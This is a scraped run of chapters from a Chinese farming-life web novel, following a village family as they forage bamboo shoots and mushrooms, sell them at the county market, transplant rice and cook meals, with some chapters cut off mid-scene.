“哦弥陀佛,幸好老天有眼呐!”孙婆子听完向天作了个揖,又感叹道:“可惜抓回来,淑云也活不过来了,真是可怜啊。” 一行人怀着沉重气愤的心情下了山,孙婆子更是家都没回,先去河边折了许多柳枝,然后插在老宅和宝珍家的门口、窗户上,据说这样可以驱邪避害。 晚间歇息时,李兰香怕两个女儿今日撞见出殡会害怕,便硬是抱过来自己房里睡了。 等把宝珍宝珠哄睡着,李兰香却是失眠了,躺在床里边睁着眼睛,一丁点睡意也没有。 “诶,你睡着没有?”她撑起身越过两个女儿,用手去推睡在床外侧的罗水林。 “怎么了?”罗水林被她推醒,赶紧下床把蜡烛点了起来。 蜡烛燃起的光亮,驱散了些萦绕在李兰香心头的晦暗。她坐起身,看着两个女儿乖巧的睡颜,想了又想,还是把话吐露了出来: “水林哥,如果……我是 7. 采笋 《四时田园杂记(种田)》全本免费阅读 清明后连着几日下起了淅淅沥沥的小雨,等天一放晴,村子里的婆媳妇女们就相邀着一起去采山鲜。 此时正当笋季,下过雨后,林子里的笋纷纷都冒出了尖儿,最是新鲜不过了。 孙婆子和葛月红来家,嘱托宝银带好两个妹妹,便与李兰香和村里人结伴去采笋。 后山的林子是划给乡人的山地,里面的产出可不能动,若是随意采了,那便叫做偷。大家伙儿都是翻越两三座山,去无人归属的深林里面寻,不过采笋每年都会去采,也算是老地方了。 结伴的妇女们背着背篓,手腕挎着竹篮,一路上浩浩荡荡的。李兰香和葛月红走在一处,孙婆子在最前头和其他老妪谈天,聊地里的庄稼蔬果和养的家禽家畜,再互相埋怨几句家里的男人,队伍的气氛很是融洽。 不过有些人总是不合群,非要找存在感。 “孙婆子诶,你二小子的媳妇是不是不能怀啦,我看你家最小的小不点都三岁多喽,你水林还不着急要儿子哦,不会是他媳妇不能怀吧?” 说话的人是村头的赖老娘,但村子里的小孩子更喜欢叫她寡妇娘,只因她年轻守寡,自己辛苦拉拔养大了儿子。她年纪和孙婆子差不多,性子却是天差地别,刻薄小气爱说尖酸话,好不容易娶到的儿媳妇也受不了她的脾气,硬气地和离了,只留下一个孙儿给她。 此时她发难,不过是因为几个婆子间聊到儿子儿媳不带她,她心气窄,觉得李兰香看着脾性软,而且笃定孙婆子肯定也对这个不能生儿子的媳妇有意见,于是就挑了个自己觉得最好欺负的柿子捏。 阴阳怪气地说完话,她还装出一副我可是为你好的样子,又扭头对李兰香好心建议道:“水林媳妇,你要真怀不上也不要怕羞,我娘家有个土方子特别灵,你只要……” 还不等李兰香接话,孙婆子就呛声骂起来了,她不常争吵,但骂起人来可是顶尖儿的: “赖老撇,你这么有空关心我儿媳妇,倒不如再给你家小癞痢头找个娘去,我看他没娘更可怜,只能由得你这种奶奶教,到时候莫养得跟他爹大癞痢头一样是个没卵的怂包蛋,自己媳妇都护不住,随便让人欺负!” 赖老娘本以为和孙婆子是一国的,被她骂完还有些懵,不过常年吵架的意识让她立即回嘴: “孙老撇你真是……我说错了啥?你儿媳妇生不出仔,我这么好心想帮她你还不领情,我看你就是故意不想她好!还扯到我孙子身上,他娘是自己跑的关我啥事?我就没见过她那种狠心的娘,自己仔都不要都抛弃,换我当时年轻的时候,我一把屎一把尿把儿子拉扯大,受了多少苦,他和他媳妇孝敬我都是应该的,我……” “赖婆子,你给我少讲两句!别人家的事关你屁事,真是咸吃萝卜淡操心,有这个闲工夫,你还不如先把你家一堆烂账给理清。” 众人都烦赖老娘挑事,村长媳妇更是看不惯她平时的作为,老是在村里惹口舌是非,于是主动出声制止。 有人站出来打圆场:“走吧走吧,站在这里吵架还要不要赶路了。” 孙婆子也不愿与她再费口水争吵,斜眼看赖老娘一眼便拔腿走了,留得赖老娘一人踌躇尴尬站在原地。 前段时候李兰香与罗水林把话给说开,心里没了压着的石头,因此对赖老娘故意刺她也不在意,但她也有心气,不愿白白遭人欺负。 李兰香跟着大家向前走,越过赖老娘时笑意盈盈地冲她说道:“有劳您费心,不过我与水林感情好,就算生不出儿子他也不会怪我,更莫说我还有个好婆婆,可不会像您这般嗟磨儿媳妇,孩子都不要,硬生生把人给逼走了。您也少说要儿媳妇孝敬,儿子是你生的,但儿媳妇可不是你生的,对人不好还想人孝敬,您以为女儿家嫁了人就是婆家的奴才呀,天下都没这么好的便宜捡。” “再说您也少讲那些年轻时候的事儿,大家耳朵都起茧子了,您要是觉得受委屈,干嘛不学你儿媳妇一样,年轻时把儿子一抛走人潇洒呢,您受的罪又不是儿媳妇的错,要真想耍威风,您就叫大瘌痢头争点气,去皇帝面前给你讨一座慈母牌坊,别天天只在我们村里的媳妇姑娘面前念叨,彰显你一把屎一把尿拉拔大儿子的功德。” 话一出口,立时便把赖老娘的脸气的铁青。葛月红一直挽着李兰香的手在旁边看热闹,此时更是笑得前俯后仰的,还搭腔一同嘲弄道:“哎哟哟你惨喽,你儿媳妇被你逼跑了,我看你再老些你的好大儿好大孙会多孝敬你,真心换真心,你真把儿媳妇不当人呐。” 众人全都抛下赖老娘赶路,再不理会她。赖老娘气得一人在原地立了许久,估计是想着已走了大半程的路,来都来了,所以还是跟上来,在队伍后面远远坠着。 一路同行,葛月红边走边悄悄瞅李兰香,倒把李兰香的脸给盯红了,她娇嗔道: “大嫂,你干嘛总看着我,搞得我怪慌的。” 葛月红爽朗一笑,“我是怕你刚才骂赖老娘是气话,心底还是会介意。不过现在看来,你到是自己想开了,之前我和娘还总担心你性子太软和,怕你立不起来,现在这样就好很多了。” 李兰香听罢也是心内感动,她低头说道:“我和水林都说开了,其实要不要再生能不能再生都不打紧,重要的是过好我们现在 8. 进城 《四时田园杂记(种田)》全本免费阅读 “你是说想拿笋子去县里卖?” 婆媳三人归了家,把背篓和竹篮里的竹笋全都倒出来处理,水竹笋难剥些,便先给它去了皮,拿住顶端扭折两下,笋叶散开,再用三根手指头缠住笋叶滚转几圈,牢牢包裹着笋子的笋叶就剥干净了,露出里头白白嫩嫩的竹笋芯。 李兰香边剥笋边告诉婆婆和大嫂自己想带竹笋去县里试试看能不能卖的念头。 “我想着,既然城里少见,那我背去卖,肯定是有人愿意买的。再说反正笋子是不要本钱,只是我多费些人工和脚力,我也不卖贵,能多挣上几文钱也好。” 孙婆子想了想,这个主意倒是可行的,但还是打算给她泼点凉水,不让她期望太高,到时候没卖出去不开心: “能卖肯定是能卖,只不过县边上有山的地方不止咱们这一处,你能想到去卖笋子,肯定也有别的人家也是这样想,就怕到时候不会太多人去买你的。” 这一点李兰香在回程的路上就想过了,便笑着说道:“没得事,我只是想先试试,到时候卖不完,也可以给水花姐家里吃嘛,这笋子掰下来一时半会儿也不会坏,可以多吃几顿。” 坐在旁边的葛月红听到这里赶忙说:“那什么说法儿?咱们这两日进城一趟呗!” 又转头催孙婆子:“娘,你去不去?你不去我就跟兰香走唔。” 孙婆子撇撇嘴,佯装生气,“哦哟,就晓得你们两个媳妇嫌弃我这老货,进城都不带我,以后老了估计更靠不住,没得享福的命了。” 说着抽了根竹笋,给李兰香和葛月红一人来了一下,婆媳三人笑作一团,也决定好了进城卖笋的事项。 …… 今日采了笋,这种山珍肯定是当日吃才最鲜,于是晚上便做的酸菜笋子汤和春笋炒腊肉。 酸菜和笋子都是素的,配荤油才更香,于是就没有用平常吃的山茶油,而是取出了存着的一小罐猪油拿来做菜。 先从罐子里挖出一勺白腻腻的猪油在锅底化开,香气一下子就上来了,然后倒入蒜片和酸菜炒香,再把水竹笋段放进锅炒,炒软一些就可以加水去煮,只需在出锅前撒些盐就已经很好吃了,微酸微苦又有猪油的荤香和竹笋的鲜美,开胃的不得了。 炒腊肉的笋用的是雷竹笋,雷竹笋味甜硬脆,和腊肉一起炒,添上点青红辣椒,不用特地再放盐,滴一些酱油便足滋足味。 一顿晚饭把全家人都吃了个肚儿滚圆。 第二日的下午,婆媳三人单独去了另一处更远的小山头,掰了不少笋子回来,晚上也早早歇息,打算起早赶路去县里。 罗水林听到这事儿直夸她们有想法,不过更多的是心疼忧心她们几个跑老远去采笋,又要走一个多时辰的路去县里。因家里的那头牛已经年迈,驮不起牛车载人了,平常除了耕地和采收时会让它出力,平日里都是宝银带着吃吃草,算养老的状态了。 次日寅正(四点),三个人就顶着月光背着背篓出发了。家里的宝珍宝珠原本闹着也要跟来,宝珍是穿越后从没进过城,想看看古时候的县城到底是个啥样,宝珠就完全是:你不带我你肯定是自己偷着去城里吃好东西了的想法,扭缠撒娇了一晚上,最后以李兰香一人屁股给了一巴掌结束。 李兰香笑着跟自家婆婆和大嫂说两个宝贝女儿昨晚的事,又特地跟葛月红道谢:“也是多亏了牛蛋这几日帮我带她们两个烦人精,要不然我都脱不了身,事都做不成。” 葛月红一点都不在意这些事,她倒巴不得用两个妹妹栓住宝银呢,他自己一个人去放牛,专往水边山里走,危险的很,带上妹妹们还像个哥哥些,知道哪里好哪里不好,更安生点。 一行人走到日头出来,终于是到了城门口,此时已经聚集了不少商贩和过路人,正陆续验证进城呢。 婆媳三个排了队,等轮到孙婆子时,官兵只查验了几人的背篓,问明进城的原因,就放她们进去了。其余些人,若是携带大量家私禽畜的,则会被要求出示路引或者户籍文书以做验证,若是大宗商队过路,还需要缴纳城门税方可进城。 进城后,几人先去了城西梧桐巷的水花家。 扣了门,家里雇的婆子过来开门一看,立马就喊道:“老夫人、娘子诶,亲家母来啦!” 坐在屋内正和小女儿撕扯的水花听到,赶忙抱着女儿出来。 罗水花今年已足三十岁,是罗老头和孙婆子唯一的女儿,排行老二,从小便是父母和兄弟宠着让着长大,大了后被父母送去学绣花,和绣坊的少东家看对了眼,嫁到了县里。 她遗传了罗家的身量高,皮子白;脸有些略长,头发浓厚,眉飞入鬓,眼睛大而黑且有神,鼻子高挺,是罗家生的最好的一个,脾气也被纵的很是泼辣。 此时水花抱着才两岁不到的小女儿,被小女儿用手揪着一把头发死不松手,看到娘家人来了,很是惊喜。 “娘、大嫂、弟妹,你们三个怎么来县里啦?” 孙婆子回她:“来县里办点事,顺道看看你给你送点东西。”< 9. 卖笋 《四时田园杂记(种田)》全本免费阅读 吃罢早饭寒暄完,孙婆子三人便背着笋子去了西市。 西市共分四条街道,每条街对门都开着商铺,相似的类别通常都会聚集开在一条街上,称为列肆,方便供人采买,如饭庄酒楼脚店一类,医馆药铺茶店一类,杂货匠炉贳器一类,还有的就是媳妇娘子们爱逛的水粉香料店、金楼银楼、布料绣庄等一类。 葛月红走过钱家绣庄,探头进去看。此时绣庄刚开店,才把门板子卸下来,屋内就只有一个小徒弟守在柜台边擦灰。 没见着宝金的身影,葛月红摇摇头继续走,晓得他要么和妹夫出门办事去了,要么就是在二楼做活。等卖完笋,再来看他也不打紧。 三人的目的地也不是酒楼饭庄,像是这种大铺子,人家都是由管事的统一采购食材,她们的东西还够不着边。此行要去的地方,是在西市后面的集。 在市啬夫处缴纳了八文钱的摊位费,拿到一个临时摊位牌子,便可以进入集里售卖货物了。 集里面人很是多,因此时正是婆子娘子们买菜的时候,摩肩擦踵的,十分热闹。货物蔬果大多堆积在路两边的地上,用草席跟地面隔开,小摊贩们或蹲或坐在一旁叫卖;有些个条件好的,则会拉个板车过来,把东西放在板车上,这样既显眼又干净;另还有一些卖包子糕点、炸油条的,会多推个炉子过来,现场制作,生意极好。 婆媳三人跟着人流转了半天,总算在一个拐弯处找到了空余的摊位,于是便把背篓取下来,地面上尘土多,就不把笋子拿出来了,直接学着人家叫卖便是。 “卖笋嘞!卖笋子嘞!” “新鲜的刚采的笋子,又甜又脆嘞!” 两个媳妇喊了半天,才有个年轻小娘子过来。 她应当是哪家的主妇,先是用眼睛巡扫了一圈摊子,才轻声细气地开口问她们:“你们这笋子多少钱一斤?怎地有的笋细有的笋粗,不是一种的么?” 葛月红堆出笑来回她:“娘子好眼睛,确实不是一种嘞!细的是水竹笋,味道会有些么子苦,这个是三文钱一斤;粗些的是雷竹笋,这个滋味比较好,甜脆甜脆的,怎个炒啊煮啊都好吃,价钱也贵些,要四文钱一斤。” 那小娘子听闻后略皱了皱眉,“你这笋卖的也忒贵,人家摊子上的菜蔬大多是两文钱一斤,贵些的也就五文钱两斤,这笋子还带皮占秤,我买两斤的钱都可以去买上一斤猪肉了。” “妹妹呀,这菜蔬和笋子不一样,我们进山采也是花费了许多人工的,再加上它应季,过了这个茬便没有了的,自然是要贵一些。” 李兰香给她解释,又诱哄道:“你看要不买上两斤,我多给你两根,咱们也是第一次来卖东西,算是开门红,送你的。” 听到有得送,小娘子也满意了些,露出个笑模样,“罢,那照你看哪种笋子好吃点,给我称上两斤。” “我看妹妹裙角有米糊渍,可是家中有小孩?若是有,便选雷竹笋好些,雷竹笋甜水竹笋苦,小娃娃可吃不得苦。” 李兰香刚才看她过来,就瞧到她裙角的污渍了,加上她是妇人打扮,便猜测她应该做了娘。 “哎呀,这小脏鬼,早上吃米糊用手抓,应是又偷摸了我的裙,真是讨债来的!” “姐姐猜的对,我家有个三岁多的男娃娃,那就称两斤雷竹笋吧,孩子也能吃。”小娘子嘴巴虽在骂,提起孩子来却是一脸笑意。 “诶,好嘞!”李兰香立马便给她称了两斤笋,又从背篓里面挑了两根肥壮的给她做添头,见此小娘子更是满意,爽快地付了八个铜板,头一单生意总算是顺利做成了。 虽然摊子的位置不好,不过好在整个集里只有两个卖笋的,生意也算不错。孙婆子还是在另一个摊子上打探了价钱,才知道怎么给自家笋子定价,既不能定高价也最好不要为了卖出去把价拉低,这样不会打破市价损害别人利益,自己也能保证收入。 卖了约两个时辰,临近中午,集里已经没有什么人来买菜了,许多摊贩也收了工,只有一些肉铺、家禽的摊子还在。孙婆子瞧了瞧自家的三个箩筐,已经卖的差不多了,只剩了约十来斤,便说道: “走吧,咱个也收摊回去,应该没人再来了。” 听到婆婆发话,葛月红与李兰香麻利地收拾好东西,背上轻快的箩筐,三人就准备出城回家去。 刚出集市,葛月红便听到远远地传来呼叫。 “娘~阿嬷~婶子,我在这儿!” 是宝金来了。 宝金从绣庄沿着街一路小跑过来,轻快地像是只小马驹。他才十四岁,正是少年好时候,生就了一副罗家的好样貌,高高瘦瘦,气质斯文,性格开朗,笑起来和宝银一般,露出右边脸颊的一个酒窝窝。从学堂读了几年书认了字后,他就一直跟在姑父钱容昌身边学做生意,算是绣庄的小掌柜。 跑到近前,他便伸手把孙婆子肩上的空背篓接过来,又去卸自己娘和婶婶的。 葛月红一扭身不叫他拿,“不用你,都卖光了,就是个空滴。” 宝金咧开嘴笑,“那你们这趟生意可好,我听姑姑说你们背了不少笋子过来卖嘞。” 又说道:“姑姑叫我来喊你们去家吃饭,我生怕来晚了你们就走了。” 葛月红真是觉得自家儿子不开窍,白了他一眼,“你个猪啊,你就不晓得跟姑姑推辞掉,不年不节的还特地让你姑姑做饭,我们都不好意思。” 这话说的,孙婆子也是想叹口气,自家这个大媳妇哪里都好,就是太心直口快了,一下都不会掩饰,有时候说话太直接,人家还以为是在阴阳怪气呢,宝银恐怕就是随了她的口才,她自己还不知,老骂宝银太傻气。 孙婆子开口:“那走吧,你姑姑应该做好饭了,正好还有些没卖完的笋子,一齐拿给她。” 四个人慢慢走回梧桐巷。 钱家,水花已经和王妈整治好了一桌饭菜。今早拿来的笋做了一道笋子煎蛋,老鸭剖作两半,一半拿来做鲜笋老鸭汤,另一半煸炒后再焖煮,做了个红烧鸭肉煲。 另还有鸭肚子里的鸭心、鸭胗、鸭肠,与姜蒜辣椒一起,炒了道鸭杂,还有煎豆腐、酥炸鱼块、清炒菘菜,再加一盘从果子店买来的蜜汁糖藕,如此八个菜,算是很齐全圆满了。 众人进到院子里就闻见饭菜的香气,钱容昌正抱着小女儿豆苗儿站在树下玩耍,看到岳母与嫂子弟媳过来,立马便上前迎接。 钱容昌三十有二,长的很端正,个子不算很高,只比水花高出个两三寸,以前年轻时瘦,还称得上一句俊秀,现在已发了福,圆滚不少,倒更像是做生意的商人样子了。 “娘,嫂子,弟媳。”他喊人,又 10. 尝春饼 《四时田园杂记(种田)》全本免费阅读 清明育种,谷雨插秧。 天气晴,温度渐渐升高,秧田里的禾苗长势很猛,一天一个样,健壮的很。谷雨节气将近,乡人们便晓得,要开始插秧了。 罗水林拿出后仓中竹编的高箢箕,准备明早去挑秧。李兰香也要去,前几年她怀孕生育,再加上两个孩子年幼离不得人便没有去,如今知了事好带些,方便下田了,于是嘱咐宝珍宝珠,明早需早起,与爹娘一道去田里。 卯时(五点)鸡刚叫,两夫妻就起了,罗水林洗漱后先行去田里拔秧,李兰香快手快脚地做好早饭,把两个女儿叫起来穿衣梳头洗漱,三母女急火地吃完,再去秧田把罗水林换回来吃饭。 来到田间,姐妹俩被安置在田边垱上的树下,李兰香还从家里拿了个草席方便她们休息。宝珍与宝珠瞌睡还没醒,坐在草席上连连打哈欠,实在是起的太早,没过一会儿,便又头靠着头坐着睡着了。 秧田里灌了水,李兰香扎起裤腿,赤脚下田拔秧。以前宝珍没穿越来时,还以为古代女子都是如书上写的一般,大门不出二门不迈,田间的活计都是由男子独力完成,女子得谨守礼节,不得露面赤足之类;穿越后方知,规矩是有的,但只针对于社会中上层的女性,而社会的下层百姓们才不会管这么多的弯弯绕绕,乡人们只知,天时不会等人,为了不饿肚子,农忙时播种收割都是全家齐上阵才能干完的。 譬如宝珍家有八亩水田,两亩旱地,另还有十五亩山地。这八亩水田,若是一人耕种,一天只能插一亩,还没有算上从秧田拔秧,再把秧苗挑去另外一处水田的时间,若真一人独干,即使是精壮的汉子,也需足足十天才能做完,所以乡下的农妇们,为了生活,是没有那种刻板的礼节规矩的。 两夫妻一人在秧田拔秧,一人在水田插秧,搭配得宜。 李兰香拔完两担的秧,望了望顶上的日头,便知道该回去烧午饭了。她在水渠里洗干净手上脚上的泥巴,再把两个在地头上捉虫摘花的女儿拎起来带走。 午饭做的简单,前一日摘的香椿芽洗净,敲两个鸡子同炒,便是一道香椿炒鸡蛋;又在蒸饭时蒸了一节腊肠,熟了后切块装碗,也是一道有滋有味的好菜;另还煮了一锅素冬瓜汤。 做完饭不急着吃,她找出几个瓦罐,把菜、汤、饭盛进去,又用篮子把碗筷装了,一齐提去田里吃。宝珍与宝珠也被分配了任务,两人共提一只大水壶。 走到水田处,李兰香招呼丈夫上来吃饭,此时日头正盛,罗水林弯腰在田里插了一上午的秧,腰都快断了,身上的衣裤也湿透,分不清是泥水还是汗水。 他走上来洗了手,先接过李兰香递给他的汤大喝一口,然后紧挨着宝珠坐下。 宝珠这小丫头鼻子灵,一闻到父亲身上的汗味儿就弹起来了,捂着鼻子大叫道:“爹爹好臭!” 罗水林被她逗得哈哈大笑,故意装作去搂她,宝珠惊叫着左躲右避,又被李兰香瞪了一眼,骂:“乱说话,怎么能说爹爹臭呢”。 “本来就臭!”宝珠躲在宝珍身后顶嘴。 一家人就坐在田埂上吃饭,日头正好,和风煦煦,空气中满是青草香气,又夹带着一丝湿润的泥巴的土腥味,让人安心。 宝珍咬一口腊肠,扒一口饭,是咸香油润的滋味,香椿炒鸡蛋也好吃,有一种说不出来的让人上头的味道,可惜宝珠不爱,她觉得香椿是臭椿,无法消受,只挑碗里的鸡蛋吃。 吹着风吃着饭,宝珍忽然想起上一世的小时候。虽然她是孤儿,但是国家福利很好,孤儿院的院长和护工阿姨们对她也很好,读书学习都和普通人一样,安排就近的学校读。记得小学时,学校组织了春游,那个时候她无比地羡慕有爸爸妈妈的孩子,他们会给自己的孩子精心准备许多的吃食,平常不许吃的零食也可以拿来一起分享,而她只有一个装着白米饭和菜肉的午餐盒。 现在想来,她不是羡慕其他孩子们有零食可以分享,而是因为,她感受到了同学的父母对自己孩子那热切深挚的爱,那种爱,是她所独缺的。现在,她好像与当时的同学们有了共感,也体会到了那份爱的重量了。 宝珍掩去泪意,低头扒了一大口饭,唔,真的很香! …… 罗水林李兰香夫妻俩夜以继日地赶工,插了六日的秧,终于是把八亩水田全种完了。这个时候真的是腰也快断了,每日晚间回家洗了澡躺床上,都要两个女儿帮忙捶背踩腰,宝珍负责一个,宝珠负责一个,也算是为小家做贡献啦。 最后一日做完活从田里回来时,日头还高悬着。李兰香想到这几日为图节省时间,都是做的快手菜,辛苦许多日,也是该好好进补一下,犒劳犒劳五脏庙了。 她收拾妥帖,取了一袋子铜钱去了镇子上,镇子离栗花村不远,走两刻钟就能到。虽说是镇子,其实就是个大一些的村落,由于坐落的位置比较好,在附近几个村的中间,于是便承担起了每五日开一次集的作用。 今日没有集,不过镇上有固定铺子的天天都会营业,李兰香来肉铺称了一斤半的猪肉,又去专门点豆腐的女子家,买了两张湿豆皮。 赶春忙,猪肉涨了价钱,原先只需九、十文钱一斤,现在涨到了十二文一斤,买完猪肉与豆皮,共计花费二十二文。 回到家先把猪肉清洗处理一下,将皮与肥肉切下来熬油,瘦肉分作两半,一半拿碗装着倒扣起来,吊到悬挂在梁上的篮子里,现在天气还不算太热,放一日不会坏,可以留作明日炒菜吃;另一半瘦肉切成细丝,把辣椒去了籽,一同炒,便是一盘青椒肉丝。 韭菜是出门前便叮嘱宝珍宝珠择好洗净的,李兰香 11. 三月泡 《四时田园杂记(种田)》全本免费阅读 昨日罗水林说他来做早饭,于是李兰香第二天便真的踏踏实实睡到太阳高升还未起。 罗水林服侍宝珍宝珠起床吃好饭,然后去了大房那儿帮忙,见日头正好,小姐妹就在院子里踩格子玩。宝珠人小么耐不住,又搞不太懂游戏规则,跳了几轮就要进房间叫娘起床,宝珍本想拦她,没拦住,一个溜缝就被她推门进去了。 进屋一瞧,娘亲还在床上睡着,宝珠也乖巧,倒是没有吵闹,就跪坐在床边的脚踏上,静静地趴在被子上看李兰香,宝珍此时也进来,拉她出去没拉动,于是两姐妹排排坐,一起等娘亲起床。 等李兰香睡足觉,睁眼一瞧,哟,有两个黑黝黝的小脑袋瓜搁在床沿,正凑在一起讲悄悄话呢。 只听得宝珍压低声音说:“快点出去,娘亲种田累到了,要多睡觉才能好。” 宝珠学不会压低声,于是用一只小手捂住嘴巴讲话,“娘是猪么,为什么要多睡觉,难道也要长肉?”这是因为今年老宅孙婆子养了两只小猪,她见得稀奇,老是去用棍子到猪圈赶猪玩,孙婆子不让,就骗她,说猪猪要多休息才会长肉,长了肉才能给她吃,于是宝珠就记住了。 李兰香听完无语地坐起来,嗬了两人一跳。 “是哦,你娘是猪,你也是猪,是个笨猪。” 说着就用手指,在宝珠额头上弹了一指,弹完又骂她:“难怪要叫宝珠宝珠,看来真的是头猪。” 这下宝珠听出来是在骂她,又挨了一个脑瓜崩,立马就转变了脸色,呼呼唉唉地假哭起来。 李兰香才不理她,自己穿了衣服去洗漱,屁股后面挂着两个娃娃,跟着她走来又走去。 洗漱完揭开锅盖一瞧,米饭还坐在锅里温着,另外还有一大碗红糖荷包蛋水。 她一愣,转头问宝珍:“这是你爹做的吗?你们早饭吃了个啥?” 宝珍回她:“吃了蒸蛋拌饭,爹爹还用菘菜炒了昨天炸油的油渣吃。” “糖水爹爹不让我们吃,说是给你吃的。”旁边的宝珠吸溜着口水抢答。 李兰香听完笑起来,于是便端起碗,坐到院子里去吃。宝珠也忘却了刚才的不愉快,像条闻着了味的小狗,厚脸皮地端了个小板凳跟出来,硬是要挨着李兰香坐,想要蹭一口糖水喝。 三母女正在笑闹着,院子里就闪进来个人,是宝银来了。 他穿着短褂子短裤子,两只手撑着上衣,像是里面兜了什么东西;下半身的两条细瘦小腿上全是黄泥巴,草鞋更是被黄泥裹住,都看不出原来的样子了。 “婶婶,我来找妹妹们玩。”他扬起笑脸,开心地打招呼。 “好喔,牛蛋你们插完秧了吗,这么快?”李兰香边问他,边进屋去给他找个碗,准备倒些糖水出来给他吃。 “还没嘞,只是我拔完秧了,全拔完了,他们插秧的还没这么快。” 牛蛋看她端了碗出来给他,里面装了糖水,于是连忙空出一只手摆手推辞,“不用不用,婶子你吃!今早叔还特地跟我娘说了你头晕的事,红糖就是我娘给叔拿过来的嘞,我不吃这东西,好腥气。” 原来是这样,李兰香哭笑不得,难怪她记得家里红糖好像用完了,还以为是自己记错。 “你要带她们出去玩吗,带去吧。”她倒是乐得摆脱两个跟屁虫。 “嗯,我带她们俩去摘泡儿。”宝银边说,边给两个妹妹展示衣兜里的野果子。 “哇啊!”宝珠一看,两眼放精光。 只见他衣兜里装了一大捧的红色小浆果,手指肚大般一个,红艳艳圆鼓鼓的,由于挤压沁出了些汁水,全黏在了衣服上,晕染的一小片一小片的,空气里散发出酸酸甜甜的芳香气味,勾得人口水都要出来了。 宝珍也认识这果子,这是一种矮小灌木丛结的山莓,这里的人叫它做三月泡儿,原是因为它春末成熟,正值农历三月,是它的采收期。 宝银给两个妹妹一人分了一捧,也不洗,三个人就站在院子里吃,抓一小把放进 13. 二进城卖山珍 《四时田园杂记(种田)》全本免费阅读 雨季一来,村子水塘里的浮萍仿佛一夜之间冒出来,青翠地铺满了大半个水面,有家中养了鸭子的人,白日里就把鸭子赶下塘去,它们自会找浮萍和螺蛳吃,省的人饲。滴滴答答的雨落在新长的桑叶上,惊飞一群在梳羽的戴胜鸟。 趁着笋季还没结束,上次做买卖尝到甜头的三婆媳又趁停雨时进了一趟山。 笋一茬一茬的,拔了又会长,生得很快。这次没有采很多,填够箩筐就作数,大概不到一百斤,主要是还有其他的山鲜也可以采了,到时一并带去县里集市上卖。 这时节的菌子开始出产,李兰香扒开落在地上厚厚的一层松针,用眼睛梭寻一遍周遭,就发现了藏在底下的几朵青头菌和松菇。 采菌子需要些技巧,不能用蛮力,要用手指夹住菌柄,手掌向上轻轻托住菌伞,将它的根系连带着拔起来,这样才能得到一朵完整的菌子。 这边的山上一般是红壤和黄壤,只长青头菌和松菇、梨菇,还有颜色鲜艳的红菇,其余一些蘑菇生的少,乡人们也怕有毒,所以见着都不会去采。 仔细寻一寻,松毛底下、油茶树下、蕨藤底下,都扒开找,很轻易就能发现菌子的身影。 除了竹笋和菌子,山上还有大把的蕨菜可以折回去,蕨菜物贱卖不上价,不过放在摊子上,总有人会要的,还可以丰富卖的品种,让人多些选择。 从山里下来时,三人的箩筐都装的满满当当。回程途中,李兰香见着路旁有好几丛开得正盛的映山红,火辣辣红艳艳的一片,好看的不得了。想着两个女儿应当会喜欢,于是又去折了几支,捧在怀里带下山去。 到了家里,宝珍宝珠一见,果然高兴。家中没有插花的花瓶,宝珍就去后仓房翻出一个以前拿来装油、烂了壶嘴被弃用的小油壶,在水里洗刷几遍冲掉油垢,插上映山红摆在桌上,还是很好看的,晦暗的屋子都因此亮堂了几分。 李兰香又教她们吃映山红,是的,映山红也可以吃,在乡下缺少零嘴也没钱买东西的时候,这也算得上是农村孩子们的一种吃食,不过有说法称,映山红吃多了会流鼻血,这也不晓得是真是假,毕竟也没有孩子吃忒多来验证过。 宝珍与宝珠学着李兰香抽出映山红的花蕊,把花瓣放进嘴咀嚼,嘶~,一股酸溜溜的滋味,刺激地口腔不断冒清口水。 “不吃了不吃了,好酸!”宝珠吃了几朵就不愿再吃,她怕酸,连带着想起上次吃三月泡吃多了倒牙齿的后果,捂着嘴再不肯吃,滑稽的小模样逗得李兰香和宝珍一通笑。 采了蘑菇,自然是要趁新鲜才最好吃。 红菇量少价也贵,于是特地挑出来拿去卖,只捡另三种菌子拿来吃。掰掉菌脚,用水洗干净菌子上附着的土粒和松毛,再沥干水,用刀随意切碎一些,另外干辣椒、蒜子、新鲜青红辣椒也同样切好备用。 挖出一勺雪白的猪油扔锅底,把火烧旺,热油煸香干辣椒和蒜片,再倒菌子下去翻炒出汁,加水焖煮约一刻钟,确保菌子熟透,最后放入青红辣椒、洒些盐巴,炒匀就可以出锅了。 今日不吃米,李兰香煮了一锅须面,熟了捞出来放碗里,再舀上一大勺炒好的菌子做浇头,吃起来真叫一个浓郁鲜香、爽滑无比! 宝珍与宝珠在家也是做了事的,孙婆子想着三个孙孙闲着没事干,于是故技重施,又用三文钱一篮子的价格,聘请三兄妹去地里找地皮菇。又另给宝银开价三文钱,使他去塘里把地皮菇洗干净,这一通操作下来,大人们得了东西和实惠还有清净,孩子们也高兴得很,毕竟能拿到手的钱可是实实在在的,要知道,乡下娃娃可没有几个能自己挣钱,手里有钱的。 第二日又下起了雨,三婆媳不能够让东西烂在手里,还是约好了照旧出发去县城,穿上蓑衣戴上斗笠一大早就走。 罗水林心疼自家老娘和媳妇,加上下雨天气也不方便担货卖,于是把家里的独轮车推出来,跟着她们一起去县里。宝珍和宝珠还没睡醒,就被自己爹给一手抱一个,送去了老宅让宝银照看,四人便出发了。 有个男人做劳力还是不一样,箩筐不用背了,和三个篮子一起放在独轮车上让他推着走,路程也轻松加快了许多。一个时辰多些,他们就走到了县里。 照常在市啬夫处交摊位费,这次要个好些、显眼的位置,缴纳了十文钱。 许是因为下雨的缘故,买菜的人少了一些,罗水林去早点摊子上买了四个肉包四个馒头,花了十二文,一家人就蹲在摊位车子边上吃早食。 过半晌才有人来问价,只买了两文钱一斤的蕨菜走,人又不算多,见这个样子,罗水林提建议:“娘、嫂子,今天落雨,估计好多人不愿意出门买菜,要不分一半给我和兰香,我们背着去串巷叫卖,这样还快些、好卖出去些。” 孙婆子一想也是,摊子上也不要这多人来看,还不如分出人手去其他地方卖。于是让罗水林李兰香夫妻俩背一箩筐的笋子和蕨菜,再拎上一篮子菌子和一篮子地皮菇走。 两夫妻出了集,转往城西的近处的宅子去。县里的富户肯定进不去门,两人就寻巷子里的平头百姓家,沿路叫卖。 “卖山珍嘞,有笋子、蕨菜、野菌子、地皮菇嘞,新鲜美味又难得!” “卖笋子!卖菌子喽!” 罗水林做货郎,叫卖这事是得心应手,两个人顺着七拐八拐的巷子慢慢走,不多时就喊开了好几户人家的门。 “那个卖菌子的,莫走,我这里买菌子诶。”有主妇开了院门,叫住他。 “好,来了来了。”两人连忙过去,放下箩筐和篮子展示给她瞧。 “您看这菌子,还有这些山珍,都是我媳妇昨日才从山上采的,新鲜的很!” 